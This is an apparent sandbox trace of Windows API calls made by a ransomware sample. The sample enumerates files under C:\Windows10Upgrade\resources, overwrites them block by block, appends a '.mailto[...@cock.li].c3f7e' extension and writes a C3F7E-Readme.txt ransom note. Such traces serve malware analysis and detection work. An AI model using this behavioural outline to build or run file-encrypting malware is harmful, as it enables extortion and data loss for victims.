	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0xede42197
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0x252d27af
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0x657b690b
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0xa4d16a2
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0x4da571d7
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0x73fc2791
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0x887bb23b
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0xf6751dc8
	[0085.269] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.269] ReadFile (in: hFile=0x16a0, lpBuffer=0x4698050, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x18e3fc40, lpOverlapped=0x0 | out: lpBuffer=0x4698050*, lpNumberOfBytesRead=0x18e3fc40*=0xc800, lpOverlapped=0x0) returned 1
	[0085.276] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.276] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb1e0
	[0085.276] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0085.276] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781698
	[0085.276] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781698) returned 1
	[0085.277] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0085.277] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0085.277] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0085.277] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0085.277] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.277] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0085.277] WriteFile (in: hFile=0x16a0, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x18e3fc40, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x18e3fc40*=0xc800, lpOverlapped=0x0) returned 1
	[0087.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0087.139] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x70800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.140] ReadFile (in: hFile=0x16a0, lpBuffer=0x4698050, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x18e3fc40, lpOverlapped=0x0 | out: lpBuffer=0x4698050*, lpNumberOfBytesRead=0x18e3fc40*=0xc800, lpOverlapped=0x0) returned 1
	[0087.145] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x70800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.145] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.145] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82dd8
	[0087.145] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0087.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0087.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ff2800
	[0087.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0087.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0087.152] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0087.152] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82dd8) returned 1
	[0087.152] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.152] WriteFile (in: hFile=0x16a0, lpBuffer=0x4ff2800*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x18e3fc40, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesWritten=0x18e3fc40*=0xc800, lpOverlapped=0x0) returned 1
	[0087.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0087.160] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0xbd01b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.160] ReadFile (in: hFile=0x16a0, lpBuffer=0x4698050, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x18e3fc40, lpOverlapped=0x0 | out: lpBuffer=0x4698050*, lpNumberOfBytesRead=0x18e3fc40*=0xc800, lpOverlapped=0x0) returned 1
	[0087.166] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0xbd01b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0087.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d835d0
	[0087.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0087.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0087.167] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eaf810
	[0087.168] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0087.168] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0087.168] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0087.168] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d835d0) returned 1
	[0087.168] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0087.168] WriteFile (in: hFile=0x16a0, lpBuffer=0x4eaf810*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x18e3fc40, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesWritten=0x18e3fc40*=0xc800, lpOverlapped=0x0) returned 1
	[0087.179] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0087.179] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47342f8
	[0087.179] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0087.179] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0087.179] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0087.179] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4698050) returned 1
	[0087.179] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x31) returned 0x477a8e8
	[0087.179] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.179] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82a18
	[0087.179] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0087.179] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0087.180] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x31) returned 0x477a828
	[0087.180] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0087.180] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0087.180] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0087.180] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0087.180] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.180] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x155) returned 0x4732810
	[0087.180] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.180] WriteFile (in: hFile=0x16a0, lpBuffer=0x4732810*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x18e3fce8, lpOverlapped=0x0 | out: lpBuffer=0x4732810*, lpNumberOfBytesWritten=0x18e3fce8*=0x155, lpOverlapped=0x0) returned 1
	[0090.126] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732810) returned 1
	[0090.126] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a828) returned 1
	[0090.126] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0090.126] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a8e8) returned 1
	[0090.126] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47342f8) returned 1
	[0090.126] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815a8) returned 1
	[0090.126] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0090.126] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0090.126] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61580
	[0090.126] wcscpy (in: _Dest=0x2d61580, _Source="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt") returned="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt"
	[0090.126] wcscat (in: _Dest=0x2d61580, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0090.126] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x18e3fca0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\hwcompatShared.txt.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0090.126] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4925ce8
	[0090.129] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925ce8) returned 1
	[0090.129] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0090.129] NtQueryInformationFile (in: FileHandle=0x16a0, IoStatusBlock=0x18e3fcac, FileInformation=0x18e3fc84, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x18e3fcac, FileInformation=0x18e3fc84) returned 0x0
	[0090.130] NtSetInformationFile (FileHandle=0x16a0, IoStatusBlock=0x18e3fcac, FileInformation=0x18e3fc84, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0090.130] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61580) returned 1
	[0090.130] FlushFileBuffers (hFile=0x16a0) returned 1
	[0092.925] CloseHandle (hObject=0x16a0) returned 1
	[0092.926] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733528
	[0092.926] wcscpy (in: _Dest=0x4733528, _Source="C:\\Windows10Upgrade\\resources\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\") returned="C:\\Windows10Upgrade\\resources\\"
	[0092.926] wcscat (in: _Dest=0x4733528, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\C3F7E-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\C3F7E-Readme.txt"
	[0092.926] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\C3F7E-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\c3f7e-readme.txt")) returned 0xffffffff
	[0092.927] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\C3F7E-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16a0
	[0092.927] WriteFile (in: hFile=0x16a0, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x18e3fca8, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x18e3fca8*=0x6f6, lpOverlapped=0x0) returned 1
	[0092.928] CloseHandle (hObject=0x16a0) returned 1
	[0092.928] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733528) returned 1
	[0092.928] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e17968) returned 1

Thread:
	id = 664
	os_tid = 0x198c

	[0078.197] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2dabb30
	[0078.197] wcscpy (in: _Dest=0x2dabb30, _Source="C:\\Windows10Upgrade\\resources\\i386" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386") returned="C:\\Windows10Upgrade\\resources\\i386"
	[0078.198] wcscat (in: _Dest=0x2dabb30, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\"
	[0078.198] wcscat (in: _Dest=0x2dabb30, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\*") returned="C:\\Windows10Upgrade\\resources\\i386\\*"
	[0078.198] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a38c8
	[0078.198] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\i386\\*", lpFindFileData=0x47a38c8 | out: lpFindFileData=0x47a38c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3a9fd3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b1515, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3b2895, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aae8
	[0085.257] wcscmp (_String1=".", _String2=".") returned 0
	[0085.257] FindNextFileW (in: hFindFile=0x477aae8, lpFindFileData=0x47a38c8 | out: lpFindFileData=0x47a38c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3a9fd3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b1515, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3b2895, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.257] wcscmp (_String1="..", _String2=".") returned 1
	[0085.257] wcscmp (_String1="..", _String2="..") returned 0
	[0085.257] FindNextFileW (in: hFindFile=0x477aae8, lpFindFileData=0x47a38c8 | out: lpFindFileData=0x47a38c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ab347, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ab347, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BiosBlocks.xml", cAlternateFileName="BIOSBL~1.XML")) returned 1
	[0085.257] wcscmp (_String1="BiosBlocks.xml", _String2=".") returned 1
	[0085.257] wcscmp (_String1="BiosBlocks.xml", _String2="..") returned 1
	[0085.257] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x47ed3e0
	[0085.258] wcscpy (in: _Dest=0x47ed3e0, _Source="C:\\Windows10Upgrade\\resources\\i386" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386") returned="C:\\Windows10Upgrade\\resources\\i386"
	[0085.258] wcscat (in: _Dest=0x47ed3e0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\"
	[0085.258] wcscat (in: _Dest=0x47ed3e0, _Source="BiosBlocks.xml" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml") returned="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml"

Thread:
	id = 665
	os_tid = 0x1990

	[0078.199] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x2e016c0
	[0078.199] wcscpy (in: _Dest=0x2e016c0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0078.199] wcscat (in: _Dest=0x2e016c0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0078.199] wcscat (in: _Dest=0x2e016c0, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\*") returned="C:\\Windows10Upgrade\\resources\\ux\\*"
	[0078.199] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a3b30
	[0078.199] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\ux\\*", lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea63c947, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a8e8
	[0083.614] wcscmp (_String1=".", _String2=".") returned 0
	[0083.614] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea63c947, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.614] wcscmp (_String1="..", _String2=".") returned 1
	[0083.614] wcscmp (_String1="..", _String2="..") returned 0
	[0083.614] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b4fa7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b4fa7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x397, dwReserved0=0x0, dwReserved1=0x0, cFileName="block.png", cAlternateFileName="")) returned 1
	[0083.614] wcscmp (_String1="block.png", _String2=".") returned 1
	[0083.614] wcscmp (_String1="block.png", _String2="..") returned 1
	[0083.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2daf788
	[0083.614] wcscpy (in: _Dest=0x2daf788, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0083.614] wcscat (in: _Dest=0x2daf788, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0083.615] wcscat (in: _Dest=0x2daf788, _Source="block.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\block.png") returned="C:\\Windows10Upgrade\\resources\\ux\\block.png"
	[0084.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2daf788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x176c
	[0084.229] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b8a24, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b8a24, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x749e0600, ftLastWriteTime.dwHighDateTime=0x1d2ea8c, nFileSizeHigh=0x0, nFileSizeLow=0x1ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bluelogo.png", cAlternateFileName="")) returned 1
	[0084.229] wcscmp (_String1="bluelogo.png", _String2=".") returned 1
	[0084.229] wcscmp (_String1="bluelogo.png", _String2="..") returned 1
	[0084.229] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x4780d90
	[0084.229] wcscpy (in: _Dest=0x4780d90, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.229] wcscat (in: _Dest=0x4780d90, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.229] wcscat (in: _Dest=0x4780d90, _Source="bluelogo.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png") returned="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png"
	[0084.229] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4780d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1770
	[0084.229] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b9dbd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b9dbd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="bullet.png", cAlternateFileName="")) returned 1
	[0084.230] wcscmp (_String1="bullet.png", _String2=".") returned 1
	[0084.230] wcscmp (_String1="bullet.png", _String2="..") returned 1
	[0084.230] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2daf7e8
	[0084.230] wcscpy (in: _Dest=0x2daf7e8, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.230] wcscat (in: _Dest=0x2daf7e8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.230] wcscat (in: _Dest=0x2daf7e8, _Source="bullet.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\bullet.png") returned="C:\\Windows10Upgrade\\resources\\ux\\bullet.png"
	[0084.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2daf7e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1774
	[0084.230] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bb141, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bb141, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1687, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.css", cAlternateFileName="")) returned 1
	[0084.230] wcscmp (_String1="default.css", _String2=".") returned 1
	[0084.230] wcscmp (_String1="default.css", _String2="..") returned 1
	[0084.230] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780c58
	[0084.230] wcscpy (in: _Dest=0x4780c58, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.230] wcscat (in: _Dest=0x4780c58, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.230] wcscat (in: _Dest=0x4780c58, _Source="default.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default.css") returned="C:\\Windows10Upgrade\\resources\\ux\\default.css"
	[0084.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4780c58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1778
	[0084.231] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x47a3b30 | out: lpFindFileData=0x47a3b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bc4cd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bc4cd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xf44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.htm", cAlternateFileName="")) returned 1
	[0084.231] wcscmp (_String1="default.htm", _String2=".") returned 1
	[0084.231] wcscmp (_String1="default.htm", _String2="..") returned 1
	[0084.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780cc0
	[0084.231] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux"
	[0084.231] wcscat (in: _Dest=0x4780cc0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0084.231] wcscat (in: _Dest=0x4780cc0, _Source="default.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\default.htm"
	[0084.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4780cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x177c
